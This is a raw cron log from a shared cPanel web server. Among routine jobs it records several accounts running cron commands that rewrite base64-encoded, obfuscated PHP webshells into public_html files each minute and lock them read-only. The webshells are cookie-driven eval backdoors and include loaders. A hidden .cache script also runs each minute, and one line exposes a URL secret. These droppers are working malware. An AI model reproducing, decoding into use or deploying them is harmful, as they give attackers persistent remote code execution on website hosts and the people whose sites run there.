Mar  2 06:41:02 medusa CROND[27425]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:41:02 medusa CROND[27430]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:41:02 medusa CROND[27431]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:41:02 medusa CROND[27429]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 06:41:02 medusa CROND[27442]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:42:02 medusa CROND[7614]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:42:02 medusa CROND[7680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:42:02 medusa CROND[7683]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:42:02 medusa CROND[7684]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:42:02 medusa CROND[7685]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:42:02 medusa CROND[7686]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:42:02 medusa CROND[7688]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:42:02 medusa CROND[7697]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 06:42:02 medusa CROND[7698]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:42:02 medusa CROND[7699]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:42:02 medusa CROND[7700]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 06:42:02 medusa CROND[7705]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:42:02 medusa CROND[7681]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:43:01 medusa CROND[21383]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 06:43:02 medusa CROND[21569]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 06:43:02 medusa CROND[21572]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:43:02 medusa CROND[21573]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:43:02 medusa CROND[21574]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:43:02 medusa CROND[21575]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 06:43:02 medusa CROND[21577]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 06:43:02 medusa CROND[21579]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:43:02 medusa CROND[21580]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:43:02 medusa CROND[21581]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:43:02 medusa CROND[21578]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 06:43:02 medusa CROND[21571]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 06:43:02 medusa CROND[21591]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:43:02 medusa CROND[21595]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  2 06:44:01 medusa CROND[4507]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 06:44:01 medusa CROND[4547]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
